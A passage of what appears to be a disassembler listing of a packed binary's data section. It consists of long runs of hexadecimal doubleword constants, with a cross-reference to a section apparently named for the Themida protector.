525C00F5h, 49CAE64Bh, 0BD60799Dh dd 68CC1B28h, 0EACF0384h, 0EC980603h, 0B8395800h, 14D2175Ah dd 19B41855h, 0CCEA082Ch, 53D820C3h, 0CDD3B88Ch, 61B51D1Ah dd 478E1E76h, 2C84992Eh, 353A0448h, 422A0CEBh, 0F85570C1h dd 34095466h, 0B25A04B9h, 3369DCD1h, 0E3E105DEh, 3AA8DF0h dd 0D64A9DA7h, 0DA240AF5h, 8BA54058h, 59214C8Eh, 0EB53886Ah dd 8B3CD700h, 4B73F7h, 203AA8BEh, 21AB791Ch, 0CD619600h dd 0F71E5030h, 9F1900C9h, 0A71D5E9Ah, 0DF014DB7h, 2347424Eh dd 0ED707AE6h, 0CAEC05C1h, 0C07157C6h, 254CBC74h, 9DDC843Fh dd 0B740A4A8h, 22B3A050h, 0DFD900A7h, 430F34E3h, 1000D5BCh dd 0DB851BCEh, 126FCFh, 51A43FB6h, 0F682233h, 0E7EECC0Eh dd 82D9C36Ah, 0C40C9802h, 0B2E5002Ah, 0EF2E3CB6h, 5AB80555h dd 0A00FF200h, 7948925Ah, 0B51019Bh, 6A8162A9h, 0F7C0DA21h dd 0DE00A1CCh, 0F76BD02Eh, 5DD2BE2h, 642410AFh, 0AD31C315h dd 0DF5BD3D8h, 0D078B11Fh, 2CD58040h, 6C02BA8h, 0D4DD6B85h dd 0C0902E5Eh, 830A263Ah, 9D5A0593h, 2DA6D8C2h, 34810038h dd 0C2A3331h, 0DC00BCF9h, 6A2E6107h, 0B882Bh, 0E49A08FDh dd 0F57633C4h, 0CE44861Dh, 539BD680h, 7FF2A0Ah, 0E40FF7DCh dd 0AFB8E043h, 95001485h, 755B7465h, 94E0EBh, 427793C1h dd 90699B6Bh, 803A5E39h, 5122F4DEh, 0FC570F72h, 0E4BC0003h dd 17CA19E5h, 2339C64Bh, 204E009Bh, 0CB163C59h, 3D730BF4h dd 200CAD6h, 4C119F4Dh, 0CC460226h, 7D4DC03h, 0BB4D060h dd 0E7979BBh, 0E8DB3B9Bh, 0B2643660h, 1201C1B1h, 2D638A59h dd 60E8E293h, 73F5007Ch, 0F1F8AA53h, 0F00476Ah, 63C8570Bh dd 0D0486h, 15EAE350h, 8A22349Ch, 7348011Eh, 0A1C27740h dd 0E9749h, 2D6F6D9Eh, 134C9AC3h, 0F929781Dh, 0F6245043h dd 0E2D08F79h, 0C00DE4h, 454D6A90h, 8552E52h, 1E20FE05h dd 0B80D3EDh, 0EB5077h, 7B0E569Bh, 4421266Eh, 98AB3500h dd 5E5C947Dh, 0AC3E000Ch, 4E582749h, 190E1DD8h, 60A53B39h dd 5B9C8EC4h, 48210092h, 26494BF5h, 472EDEBCh, 6A005A5Fh dd 0CEEA509Eh, 57551D83h, 0F24CC766h, 0CA1AB0CDh, 7B0039FBh dd 247D5DC4h, 981389h, 5563D25Bh, 0EDE3A214h, 0CCF2FE00h dd 109C6B11h, 71F8B4h, 4773864Dh, 0CB80971Bh, 0E620AD06h dd 1D8D18Ah, 0E7D6C42Fh, 0FC232B74h, 3F00777Eh, 1A44AB9Eh dd 0DE7C50h, 0A5352537h, 8F6C4B69h, 0EA0014B0h, 0DCDBB0Ah dd 8E4DFCh, 0C82165B8h, 0E1F08538h, 6FF89624h, 0B2B02400h dd 0EA42269h, 52385F8Fh, 0AA09110Eh, 0C2B45303h, 30E8B688h dd 5A7A9100h, 0EADDAEE3h, 11A109F3h, 3C01B00Bh, 0E4598B89h dd 0CD02F57Bh, 0DC074E26h, 0DFECE038h, 22B40EB9h, 452FB1C6h dd 0B774FE80h, 6590233Ah, 0F30093E2h, 7780D1ACh, 3E246h dd 5683D096h, 73B3070Bh, 0F2538B12h, 46CF4800h, 1405EA03h dd 0A06FC0C6h, 4FEFC501h, 89AF78C3h, 20328AA0h, 0A56A1724h dd 0E60B007Bh, 0D757531Dh, 7F00F00Fh, 0F4298A93h, 5828Ch dd 0D6F739Ah, 0ACC9FB20h, 2FCB8500h, 5DECA827h, 0ADBD01FAh dd 6504E2C4h, 18888008h, 6A6CD837h, 231C0258h, 32A7A629h dd 0B59293C0h, 2B958000h, 0DD344BF1h, 6BEB00CAh, 0BE88E905h dd 0A3F6EAC4h, 6D9AA700h, 0CFD34E3Eh, 0A99D0FFDh, 25A027ACh dd 34FFF044h, 3F95B300h, 0A10F270h, 421200A9h, 0A43D40B1h dd 0A01FBFC7h, 4640C167h, 652449AEh, 0BBD8FD6Dh, 95B81E10h dd 0FE17000Bh, 82883FD4h, 0AA8CF554h, 80EC9300h, 0A4B4B2CDh dd 206F3A46h, 0B11600F7h, 569106EDh, 0AC006C11h, 1B24F5B6h dd 6F20BCh, 99B72C38h, 413EDDDAh, 7382CD00h, 65DF86E9h dd 0BF7500B4h, 8AA3B9CBh, 0C8E2EAF1h, 84FC4B0Eh, 0ABA0A0FFh dd 1D20FD48h, 404505B6h, 42F715A7h, 7F009D3Bh, 2A384610h dd 12EDDDCh, 0C7EA2DEBh, 6042152Fh, 0A2780818h, 2C378801h dd 2115304h, 71D84DCh, 0DA60A7F3h, 0C96E3082h, 9F07259Ah dd 6D54E99h, 538976F0h, 553A12C3h, 1610402Ch, 5A3DAD40h dd 1D9BA83Ch, 35876FE4h, 0EE3EBEAh, 340798E2h, 450A00C4h dd 0F3662573h, 0E0004818h, 361CD24Ah, 1CA5F939h, 8919692Dh dd 0D800AF1Dh, 914826ADh, 0C123C207h, 42D22BEEh, 40D86276h dd 184E089Dh, 10E1AD7Ah, 4F7335AAh, 4B684700h, 0A749E850h dd 888E0FACh, 0D5423808h, 0F74053CCh, 8A98C7B2h, 2151721Ch dd 4B406941h, 0DDCCF654h, 90AE00A5h, 3CEB0BB1h, 687BD322h dd 0DB00C5B8h, 9276A7A9h, 1D541A7Fh, 403A16D4h, 19C8B5A0h dd 0AA1E376Bh, 0BDC05D72h, 0C4CC442Bh db 1Bh, 48h word_4D905A dw 602Fh ; DATA XREF: Themida_:00507FD4o dd 88FE6D01h, 0E0F1B720h, 0BA0303C8h, 0E688956h, 6AB3C805h dd 13B20044h, 255961A6h, 6C00F575h, 9A3701EFh, 835499h dd 0F47209BFh, 0FC818A60h, 0C8517803h, 98D9BE75h, 1F04A8B7h dd 0C09B1F8Dh, 0F839D473h, 0BC0AFD8Ch, 82FF3DE3h, 28C0CE1Dh dd 1FC56558h, 0FBF60FC2h, 3E0E485h, 2FDB1A60h, 0AF2348h dd 6CDAAC40h, 1D732C2h, 0FD972288h, 0E09FE4ECh, 67F8D8C0h dd 6717832Ch, 7E81D300h, 4756C6h, 6B2CE90Eh, 17391179h dd 0E8FD3Ch, 0B8435566h, 7AF6Ah, 0A7D8820Ch, 0C35F3DD1h dd 0C6CB4A00h, 9380A568h, 973800AAh, 3615EDE4h, 1000AD3h dd 0C24FF006h, 3A70F24Eh, 880198B7h, 9269CBE1h, 0C8AF2178h dd 0C3136B31h, 0F0002FA4h, 0DC171AF5h, 82132C68h, 3FAB0BD5h dd 3255F780h, 6B001638h, 736F3560h, 5A3B28h, 0F73D1BBEh dd 0C60CFF4Fh, 6FC4700h, 0CEAB4B4Ah, 0AA800216h, 0D8F38987h dd 0F04C64E1h, 0CD07DDC1h, 4428C7C5h, 5F808F90h, 0FF640155h dd 0DDD515FBh, 6E908334h, 70D2C27h, 7027738h, 69A4014h dd 922E5158h, 0F100B8FAh, 0ADA1E04h, 0D1600CAh, 36F752E0h dd 5300DDEAh, 0F869405Dh, 0B8E8A8AFh, 3E96E0C8h, 75BBA79Ah dd 2E02C84h, 504C03Ch, 2F007F1Ch, 0DFBEBF91h, 772899h dd 98EE3013h, 152D0539h, 9C4158C0h, 16999C8h, 0F7BE2970h dd 0D5CB9AA6h, 7AA4CCB1h, 9000D871h, 0B3D1D038h, 0E08EE999h dd 35E30095h, 0A4B02632h, 0D4005CE1h, 3EC72F1Eh, 3858BE5h dd 0EBD3039Eh, 32D0ED78h, 5F00D611h, 79DD8064h, 4D65C1h dd 142918ADh, 16A7CCF8h, 8A0FC2F4h, 0C010D598h, 0F4D30994h dd 0E691FC32h, 115B1661h, 375440D8h, 0F5148595h, 4C98F8FAh dd 4B537C0Fh, 4D024641h, 0FB150310h, 70AF9BD5h, 1C862AC8h dd 425D4B74h, 8DAA0104h, 0FD34B0F7h, 0F20AF4h, 899A3076h dd 0F5651F49h, 80164F3Fh, 1191A2E0h, 9014092h, 307D7F24h dd 60D790C0h, 0E3EC10B2h, 0E0069D00h, 0A82D3B22h, 5108CC1Dh dd 0C200BCA1h, 0CE908FD0h, 2D23749h, 0A3206AC9h, 5C4842AFh dd 2E001EB5h, 0BEE336F8h, 1E80E23h, 1F4B5ED9h, 801BD3C5h dd 0A30D1390h, 3EB4F7h, 46CB70FBh, 270CC68Fh, 94D683Ch dd 83BA6220h, 0E8EFDE5Ah, 0D787ADh, 162BFE61h, 75F93E21h dd 0DD674400h, 0A4530886h, 0F336005Dh, 0D47439Ch, 0F212F0E4h dd 0B700F739h, 8DC40746h, 0E0D71E5Dh, 41E801FBh, 2B155162h dd 0E01949A0h, 9E7900F8h, 899DE0A7h, 0D000B827h, 0CAF233D8h dd 3BFC9924h, 0B71E734Ah, 0AFA28FD3h, 0EF42403Fh, 8EF308B4h dd 0E474D000h, 26E211BAh, 0D7D50063h, 1D3E22A3h, 0E903EB6Fh dd 0B582189h, 0C6B7A833h, 0B9103A9Dh, 0E5C57003h, 55F8DCE9h dd 0E60350A9h, 3CFCB806h, 1AD0E7C9h, 0FB3E243h, 208D68CFh dd 52172140h, 0D30713F0h, 0C8A277FDh, 22A99860h, 87C903EFh dd 50AF9358h, 1B2FC0B7h, 9A17E9E2h, 3D1BD6EBh, 0CC94C090h dd 0A2BA0160h, 521E4E2Dh, 7AA17F47h, 1B2000F3h, 5AE46114h dd 780048CBh, 5D240227h, 37691657h, 10B8DBFDh, 0D19B03F4h dd 0E3AE8B07h, 0E130DC2Bh, 0E091D2Ch, 85F4E8C6h, 0D9DD6100h dd 4C0EA46Eh, 86C1D49Bh, 209172h, 8861F590h, 38F77AB5h dd 0BB6BD100h, 4EA8964h, 0ADCD00ECh, 621CDBFFh, 8B7CFBABh dd 2F9BF700h, 89EBE73Ah, 2DFE40BEh, 3D411304h, 0F1C1507Ch dd 0FDC8962Bh, 8F120708h, 10BA7AA5h, 62FCCA6Ch, 517DAF00h dd 0D9563444h, 0F393933h, 1F7B5B8Eh, 81E8E320h, 0D6000C5Fh dd 0FA145CF4h, 1DAB3261h, 0C05A3F09h, 71F92E2Dh, 0D13F5B88h dd 8CF582E3h, 0E0AF591Bh, 299577h, 0C1125CE2h, 0FA28437Ah dd 7100D47Fh, 0E1971392h, 3D16A3Ch, 4A2A7E54h, 0DD88C97Ch dd 85EAF804h, 8A1F1E00h, 0B65C6620h, 0CB560025h, 0C240385Ah dd 0CE0063DBh, 92BA8622h, 0F89F80h, 12AF33EAh, 0C20ECA4Fh dd 0C11DCB00h, 6236E622h, 4C8200F1h, 0C497F25Fh, 330085DBh dd 0C35AFD67h, 46F088h, 0EA490C01h, 8F52D863h, 0D11D7500h dd 1CB0335Ah, 90190C64h, 0E6804F78h, 71C99C00h, 5C369A38h dd 0A83038Eh, 8878E51Ah, 0F0C6800h, 17586F84h, 72223FD7h dd 5CE66A80h, 0BC7DB5FAh, 80C1823Fh, 14888532h, 7C3AE98h dd 0F592174h, 20D04204h, 0C233DC80h, 4000B85Ah, 0E4F0549Ah dd 0F8862CBFh, 0BAAF1F99h, 7E931824h, 89009FD3h, 0BF2A472Bh dd 31C2EDh, 0C9F9E546h, 0FA164020h, 0A849D81Ch, 206AB24Fh dd 2FA05ADEh, 3E060B62h, 83FD8F0Eh, 0D8A94FC9h, 0FC0F1Ah dd 2347B9DAh, 0E932895Bh, 0C2733607h, 0C7900E79h, 0F86B6C9Ah dd 8D0B3EDDh, 68336A00h, 0AD920F44h, 0B8E15F00h, 880239DFh dd 0EEE76h, 5730AAF8h, 854C9BA2h, 0E309F900h, 635D7A56h dd 0AB2002Bh, 0ECCF74A9h, 6B071C0Eh, 0E5B647FDh, 0D1F372D0h dd 315D00C8h, 0D00B7DB7h, 0D50079EAh, 11590CC5h, 0F780389h dd 0B7FC7091h, 437DCDE0h, 0B91C90C4h, 0BD834462h, 0C074E1D6h dd 278AFCh, 0A887917Bh, 0F45D4C0h, 54B16B30h, 5D94D0h dd 0DBC57F77h, 0D3C4EB8Ch, 7E6B0E00h, 950CE17h, 94C48A9h dd 352DE1Ch, 906A0666h, 0DF8B42F9h, 5DDD3CC0h, 4EE0C700h dd 0CC7E3EECh, 56E500F6h, 5BD4DED0h, 0D38D175h, 38818060h dd 0FA2520E0h, 0BD3C00CCh, 2E9634BAh, 140FA69Fh, 80CAE687h dd 0FC686DD0h, 375E0FEFh, 0F8A07AD4h, 4B5A41FBh, 0ACBD2F01h dd 3BD51882h, 1B93208Eh, 5CCB51C0h, 0D7004FE9h, 0AC36F7Dh dd 72B4DFD1h, 30D7CC0h, 0A95C1549h, 11E0D65Bh, 37016405h dd 381B4262h, 10834A26h, 4BE84DB4h, 19481DC0h, 0C88ED3Ah dd 2055E6BAh, 1EE9F27Bh, 406A02CFh, 0FAD8AC42h, 0EA063F8Ch dd 27BD5EB3h, 2ADA278h, 18456130h, 7508E867h, 6244ED2Fh dd 85005C87h, 69AE8FBh, 43E41002h, 1D00199Fh, 4AF27382h dd 7E6AEF9h, 0C3AFA590h, 6353D05Dh, 0E00054BBh, 0ACDB72FAh dd 734936EEh, 844A0156h, 5AD414CEh, 5405D844h, 0E75B962Ch dd 872B9701h, 0DB2038h, 0E39D7620h, 0CA686DBh, 0FA3F8F00h dd 6784A2B3h, 0AE700Fh, 5A493925h, 36D0BEE0h, 439148h dd 380BDC01h, 155145D7h, 0E4CB1234h, 0B41E5406h, 5B00103Fh dd 75E1E2F6h, 4A0B66h, 67909EA6h, 77A891EDh, 9900F0F2h dd 0A447A3ABh, 5E60DDA1h, 1A7BC8Dh, 1C1764BAh, 98C86A5Eh dd 0AE90035Fh, 92AC1EBCh, 9E08EB8h, 0C510FB00h, 43A12A3h dd 86A6002Dh, 0C263A0B1h, 0DD006E8Eh, 9266AFE0h, 3492FF9h dd 446DF62Eh, 19008F3Bh, 56D997B1h, 7C4C9E16h, 1CAB74ADh dd 0C0159C8Dh, 8E28CBA6h, 30C0C437h, 68A84494h, 6F2E7F3Bh dd 0DC8078A1h, 2DF04EC1h, 7E357500h, 390EAB07h, 614A0081h dd 0DDC7C4CDh, 0CB0E3A31h, 40FE8EA9h, 1A672CA4h, 2F4AC005h dd 0D12A60D6h, 5C0C3D76h, 0D9DF9557h, 0B45E18E3h, 0BF7A30BEh dd 9EF8A2EAh, 411E1A07h, 27C09AB3h, 219F34h, 4C196BCEh dd 252F875Ch, 72C73A3Dh, 0F500EAF2h, 62809EEDh, 1A42C29h dd 6C852822h, 0FC8C4732h, 0CE00F97Eh, 0FA88E630h, 8DBEA5h dd 0C6F18113h, 267C5756h, 1B497501h, 346BBFF4h, 659ED0h dd 89FFAB1Dh, 72CBE959h, 0FE1C6603h, 0B0B1E71Ah, 3EEA3C7h dd 0BF4A94E4h, 2D07DAEh, 680145B2h, 43A6F2ACh, 7420A001h dd 0DE80C060h, 5708C7E5h, 42BB7000h, 8D6B07F7h, 5FEA0FE3h dd 81200F9Fh, 18AB4F45h dword_4D985C dd 0C718C560h, 0DF7C27AAh, 2DA70D30h, 0E0F8FC18h, 0DADC7500h dd 7A02952Fh, 0A2FA0CD6h, 0E5C0648Fh, 453BF7F8h, 577F80A0h dd 43E0A3BAh, 6A110333h, 31A1C542h, 0AFB2E801h, 799395C1h dd 0C8D5DCh, 26BB4667h, 1F4D9C60h, 98431328h, 6E9E1B00h dd 0A4947275h, 1E53F080h, 2870ACh, 515B95E5h, 5C00D80Ah dd 0A9628CC8h, 0D5A89Ah, 0C0453F38h, 12747705h, 0DCFA9005h dd 0ABC01F64h, 0F725562h, 0E969C6FCh, 0B0BA6C40h, 1D72A52Bh dd 0F2CD1000h, 953432C1h, 15A90057h, 240C790Fh, 0D3006D33h dd 71F443E9h, 57A6584h, 0D705A9F1h, 0E301FF56h, 896DB180h dd 337034F1h, 9BF20744h, 0A07B1EA3h, 721B5B7Ah, 0D76C1801h dd 566E4F5Ah, 761F23E8h, 1F8E86Ah, 1C25F089h, 0CC7021FDh dd 640FED40h, 626E08B6h, 40C62EEEh, 17F426h, 4FA3F23Ah dd 7D546C78h, 0EEDA6E1Ch, 382AB741h, 98A1E774h, 5345402Ch dd 0A8C378B4h, 610A2FCh, 48784F0h, 5C0319E2h, 0BDE3FDA4h dd 46FC9019h, 1461285Dh, 9C963F88h, 0E9CE6402h, 98AFB92Bh dd 0F84F90E3h, 0F40F819Ch, 85ACC31Dh, 17A60008h, 3E8239C9h dd 0AE1C5100h, 244F1FE5h, 293600C7h, 0C2FE1352h, 0ACA35EB6h dd 52BDC0E9h, 7120F924h, 721337DDh, 0C1180021h, 0F17943DBh dd 38C28CFCh, 63B92F34h, 0DE7C00ACh, 0E10FCB70h, 5130EE82h dd 3816C160h, 0C704006Eh, 33620971h, 420A6F78h, 80F6FD73h dd 27EF00BBh, 36CA6031h, 8D0E0011h, 5965D8C7h, 4B60AE43h dd 9B5F7C71h, 973A07C5h, 90183012h, 0CD84C3Eh, 5FC05250h dd 3B00FB71h, 3063FAE1h, 0F8091D8Dh, 9C4750E7h, 0CE0F007Ah dd 116C2065h, 0A603856Dh, 0C4F19E3Eh, 51E103E7h, 6A1980D8h dd 0B3BC505Eh, 0F901DB4Ch, 0D0152ABAh, 318BA6Ch, 4E0F5205h dd 8E06F330h, 4CA53E30h, 93EFF200h, 413CCDE7h, 0FF379E00h dd 10D8D5FEh, 0FC00063h, 5F6D268Fh, 53001A14h, 0E572771Ch dd 1D65F6F2h, 7C3E1Eh, 0F9E3DB34h, 0D903A2A6h, 10E23B0Dh dd 930CF07Bh, 4A950042h, 7746CA91h, 3D5443F1h, 0A900E4A8h dd 3149F78Ch, 14CDC19Bh, 8040F342h, 2302D901h, 0C43A8DC4h dd 0C800A1BEh, 72E09334h, 7D74471h, 77BF59A9h, 1C12520h dd 9BA12686h, 67218046h, 1B731FC2h, 3CF004Ch, 0F957D929h dd 0B90FF4BDh, 414B316Ch, 0A2714789h, 1E17DEE4h, 64E861h dd 21B394A4h, 0FB0F8B62h, 0BDE7C663h, 9A00FC11h, 3FB5A46Ch dd 0CB3AFB5Ah, 97578090h, 248CF2D0h, 0B62D01A1h, 0DCA80B33h dd 64908946h, 0BDF30389h, 0AFBC88F3h, 77E30028h, 0D2DA2143h dd 36008663h, 0F5A2D564h, 0F20531DFh, 0C6A8C7B5h, 0F1B3302Bh dd 0C9B8AC9Bh, 0B13C5100h, 9DFDDFF7h, 0CC5F00CBh, 0AF977F36h dd 0F400865Bh, 0F3A331A6h, 7837DB7h, 6332E7DEh, 629FF092h dd 53735FC9h, 8EB95C00h, 7AEDE9C6h, 89CD1DEBh, 866840C7h dd 0AF7111A9h, 0EAE8EF00h, 0D0376DA5h, 2B10004Ah, 445BEEA2h dd 68000836h, 0DC4C2CB4h, 0A95F9Ah, 7E20F88Bh, 2C62B86h dd 38F98000h, 0FA6B131Ah, 0F54D0064h, 600A7CD5h, 0AE17694Ch dd 600BD7Fh, 9774B455h, 701E004Ah, 87FF915Ch, 1700D1E7h dd 12A88EA0h, 3563143h, 48468C2Eh, 0B0D0C2D6h, 9B5CE5B9h dd 0C869077Eh, 20CF0C9Ah, 0D6D08875h, 0CC610421h, 80AB8263h dd 0E75922DEh, 0FCED8E00h, 51914EC5h, 6FE41F3Fh, 0CB7A8797h dd 76FA60ADh, 0C90142A4h, 29A85F8Ch, 0A06A1F91h, 47009FC5h dd 0F5D2AE19h, 485D8Eh, 0A801782h, 0ECFC9E40h, 0A9C3CEC0h dd 961F5D8h, 0D0239BEh, 1997300h, 8E074F5Dh, 25A7912Ah dd 6B5CE760h, 0D89C0747h, 72DF68F3h, 0D740F4C8h, 19004238h dd 0CE8E885Eh, 0F56E228h, 0C96F5CDEh, 0B0E9807Fh, 0EFBA75D4h dd 3BB0B00h, 9931B454h, 80B13A48h, 0C55D500h, 0C99F593Bh dd 1C0F78F6h, 0C058C2C8h, 4593B249h, 50190018h, 556751FEh dd 1000AF5Dh, 9AED77CCh, 0CB2FFFh, 50944DF2h, 0B7CE357Ch dd 0ECE98A00h, 20876DBDh, 1898FA6Bh, 0D87D3037h, 0C62ED7CBh dd 1C1C7077h, 0C4AA6E43h, 589110B0h, 1091070Eh, 0ECD0EDF6h dd 0BB394Ah, 0FC646B69h, 1A3ADEB2h, 0AE60D20Fh, 758A2354h dd 0EB6EC970h, 0D1E35CEDh, 0E3D8EF76h, 364C0074h, 0D3C3DB40h dd 0E7133B38h, 7D007B93h, 0FCC47E8Eh, 6A0E0074h, 0CC09609Ch dd 0FD729ECEh, 0D05200Bh, 605F8E7Dh, 0C09DE073h, 0E6B007B8h dd 0D1B49361h, 0FF5CFE38h, 0F55A37E8h, 1AB81D0Eh, 68FE0BFh dd 0E567077h, 0DB3C754Ah, 0FE9CB503h, 32ADCA88h, 0EEA0FA0Bh dd 885622h, 71F5EFD6h, 4C000164h, 0D00A6C74h, 42F07Ah dd 3A5A7C94h, 5935C57Eh, 198A8800h, 0AA9B01B6h, 0A579A9h dd 10F099AEh, 5B45B8D6h, 9C95A800h, 51CF9420h, 0D9FC0077h dd 3D1F78B0h, 70274C1h, 413A747h, 0B2D760EBh, 6D100C9h dd 54C8E032h, 0E10010CAh, 218616E2h, 7D2E9C5h, 30DEAC13h dd 0F7B420E3h, 0D8904890h, 0AFFE0E00h, 369D1271h, 0FD0005Bh dd 0FC49377Ah, 210B77CEh, 8363D43Ch, 52CF162h, 0BAC4EB41h dd 2EE4002Fh, 8A4162Bh, 7521310Eh, 30B90247h, 3A9AE3F7h dd 0C7806652h, 2C3CCA28h, 0F200C91Eh, 901D568Ah, 31C54C3h dd 0B60D3211h, 39D85DEFh, 0E93CA903h, 26B0809Dh, 0DE947ADFh dd 302748B4h, 78FB7000h, 0AFB5FD8Ah, 5B08B200h, 582888D2h dd 52BC0085h, 5956A34Dh, 0CEFE559Bh, 7292C500h, 8AFBAD61h dd 0C82C007Eh, 0A545E962h, 0CD0137D0h, 0A8095764h, 0C1E4AA5Fh dd 752900B9h, 20889FA1h, 56006F51h, 50547228h, 842BE1h dd 5928047h, 0C176E02Ah, 0CB771E00h, 1835208Ch, 0EB2600A5h dd 0ACB27137h, 0F50013A1h, 1CCEC006h, 0D03FC2h, 0B09064BCh dd 93319128h, 35E7F900h, 7482E278h, 6D7900FDh, 67D56E6Bh dd 0F900F870h, 9E19BC76h, 45ACF3Bh, 0C7A0A14Ah, 0F47CC018h dd 6B011202h, 3679B2D9h, 55F8D8BCh, 34690FFFh, 0F6805313h dd 393198FCh, 49583F00h, 0F5AD06A3h, 154800CDh, 0D683114Dh dd 0D8009536h, 187BB2DFh, 9D2D6Dh, 6846E10Ah, 3E5C8E0Eh dd 0AA755800h, 93CCA642h, 1E6A0024h, 0B06F8C8Dh, 0D4240607h dd 87BA14E2h, 79E937BEh, 0E7A9C7A1h, 91FB20h, 0CE27CF90h dd 506F2FAh, 1EDD6548h, 0B340AA64h, 0F6A7EBDAh, 1ED023Ah dd 46F0C654h, 8BD15848h, 7AD63407h, 0B610F7D4h, 3391229h dd 2260058Dh, 0A42DCCh, 0B2AADDE4h, 0AB2F0050h, 3BFDC0E9h dd 4407873Ch, 0E7629D6h, 208462A0h, 9B940081h, 0F7BD0C8Bh dd 170E982Ah, 407B0831h, 136058E3h, 97E10072h, 5FC4033Bh dd 0AA00B9ACh, 4BB5A02h, 454234h, 0EBA093E6h, 0B92BDEBCh dd 2FB3F501h, 6BA8B09Dh, 3DD3C8C3h, 0E9514DAh, 3F03FC32h dd 0ECF89C6Dh, 0BADE63D0h, 7A7E8500h, 0A705C861h, 0CD060187h dd 3C5EC72Bh, 0D4C4E435h, 0B74BCA1Eh, 3300C0E4h, 0B3A6DE30h dd 751F0006h, 2D85A079h, 3F1F7CF5h, 25C70B26h, 2B0DA1Dh dd 1676CC0h, 0B6C8D847h, 600983B9h, 8700840Ch, 0B739AC72h dd 7474D3B1h, 1C9F098h, 37FA4428h, 0E429DD61h, 0DA00D2AAh dd 0F03C3FBBh, 4E89078Bh, 5549B04Bh, 9ABD6600h, 3C060171h dd 5F6000E2h, 0F270F518h, 93002FF7h, 54D8F75h, 6A2A07h dd 45A00B48h, 1DD4DF3Ch, 0B169E800h, 3ABED1E6h, 892300F1h dd 0D371CE83h, 6C00EC55h, 0DAB26D3Bh, 5FE6A0Ah, 8451811Dh dd 0F31A80C6h, 61000637h dd 3F710464h, 41D513h, 0FDA8DBE9h, 0DF1019E3h, 0F27A5EFEh dd 600037E0h, 4B1DC365h, 88A870h, 456A69FEh, 0C1B347C7h dd 62983601h, 3A5D789h, 7A9060CCh, 8AC9002Dh, 0A7480264h dd 0A899449Ah, 17E2D180h, 0F867864Fh, 84A4995Fh, 6C8BE41Dh dd 911F0039h, 4324C625h, 30005EDh, 5BF70807h, 74B5954h dd 0E6567574h, 2C2816ABh, 0FA0997F8h, 94DCD8E4h, 1CC04890h dd 38BCAA00h, 0D56B815Eh, 0E1066C1Ch, 8F932540h, 9397E45h dd 0BFEE376Fh, 98DC1000h, 4D008CCEh, 5E3DE618h, 0E331D2h dd 487129CDh, 0C7BD967Fh, 0AA361E00h, 167BDAF3h, 5025074Dh dd 0A380D641h, 76A84666h, 0A524E9C7h, 0BD40708Bh, 663F9h dd 0F54148ACh, 4E9FE3C3h, 82804250h, 53943000h, 0A3DF0B3Eh dd 8DF300B3h, 5ED69C64h, 493CFE2Eh, 44DC25h, 23FBA902h dd 357199h, 6D2F61D1h, 0B8F4807Eh, 985DC028h, 36E4FA50h dd 0F8E70300h, 34051F3Fh, 726F129Ch, 6BB400B5h, 0E5ECD79Ah dd 7FDF8100h, 786815DCh, 0EAECEBA4h, 0C8A4A8h, 0FD3883F1h dd 1AB789E9h, 2AEF5A18h, 6C03B8h, 83541DF0h, 0B40432A5h dd 1B84638h, 0A4A7590Ah, 0FC41C65Eh, 0CAC4E260h, 0B8380297h dd 0D901443Ah, 0BD00DC96h, 5D387234h, 0FB37F0DBh, 38E71D0h dd 0E005F9B6h, 1D88FF6Ch, 0AF0735B9h, 6A9696Bh, 754000B9h dd 122A32FAh, 80146E96h, 0CEB33810h, 741E4A1Fh, 8EE56800h dd 7E224033h, 20E66002h, 15712879h, 0B10DF90Eh, 0BDDE836Ah dd 7AE08762h, 155DC30h, 0C6B8B0C5h, 400AB7EBh, 159CC1B8h dd 66FD5100h, 739DEDA2h, 78EE00C3h, 8CFB6A44h, 6F001FD0h dd 6B186826h, 1F670E2Ah, 0A41384C9h, 0E129800Ch, 0D0EEBEB5h dd 0A3703507h, 0D140A523h, 128C90C0h, 608BBCC4h, 16E81304h dd 12E5A900h, 5A65B289h, 0B4581479h, 9D00E431h, 546C69F8h dd 0F0047F5h, 9375EC9Eh, 91F90415h, 0A0420104h, 36560997h dd 570108CCh, 7FB640B4h, 40BB20DFh, 55C5C280h, 2CEF6C1Ch dd 0E005295h, 0DBE0FC35h, 0F9F014B0h, 1AD1B400h, 0C7F2377Eh dd 0CB4A07D5h, 0F0637566h, 0A5C4C0ECh, 4D8D2901h, 19AC0390h dd 8F006077h, 0FCAFEF3Ch, 8D4E0979h, 3A0E28ACh, 0C680677Bh dd 80B6C99Eh, 73827100h, 0FBEF57B5h, 16761D1Bh, 2A1540EAh dd 0F0C3DE5h, 0A7AD7D01h, 1C01737Eh, 0DB73B06Bh, 0C6980200h dd 0AA6AB8F8h, 622600F9h, 0A5BDEFBh, 403378Bh, 51DC5379h dd 0AE22A8B8h, 0BAC800E0h, 0DA5B845Dh, 6031620Dh, 7D3A0FDh dd 971EE8h, 54C920CAh, 0CDAA6323h, 8CDED900h, 6235FE10h dd 0BCEA0Eh, 25772C34h, 81ED1536h, 7882EA04h, 8F80288Bh dd 7DA62071h, 0CE250357h, 0CB6AC45Ch, 0F6E1A990h, 0D9E00F00h dd 76F751DDh, 38A80E6Fh, 9B83A0FEh, 1DB89CEEh, 0E3009460h dd 146B527Dh, 6A35CCh, 21A69296h, 4A0C974Fh, 4D615A00h dd 3D63CF7Bh, 0C91B0314h, 6D856A19h, 5FF14CD0h, 93000490h dd 2362892Fh, 6C328Ah, 6660F90h, 8BB6B90Ch, 5863A00h, 98A23F47h dd 1680049h, 0C01B9B53h, 4E00429Fh, 931AF6B5h, 4DB2FAh dd 3DD7CF0h, 4C6FE782h, 31EAFE00h, 68025ACCh, 7D0600BAh dd 2BB85059h, 0B00C071h, 1A52FDDDh, 0BCA081Fh, 0C34A6D3Ch dd 8A00DD8Bh, 5481D29Dh, 0CFD39600h, 393D941Ch, 0FBC03A2h dd 6051D4B0h, 2DDDC900h, 72CD941Dh, 0CEDE3AA2h, 2E273E00h dd 0F0463B81h, 0C5036378h, 0BDD8FC73h, 97A9A0FDh, 34031362h dd 31BC005Ah, 0BB72C046h, 52B65700h, 0AB1610A3h, 23010430h dd 0C1C3D6F0h, 0F88E2562h, 74F0CB39h, 20660B28h, 0C422800Eh dd 6523009Eh, 36B4BF3Bh, 0A96892B0h, 0E4610700h, 79D7C156h dd 42A300D8h, 32ECD2E5h, 7412CD18h, 1400A690h, 4C4A6E4Dh dd 6E405F9h, 0C0D8AAA9h, 638B2C61h, 261E9FFCh, 0E84F461Dh dd 7E8E007Ah, 0F1A32Eh, 70F94EF0h, 0E0C805BEh, 23DB1D50h dd 0AE011898h, 9DEC5E51h, 0CFCC71F0h, 49F70E3Bh, 0D7226BE2h dd 53607AEEh, 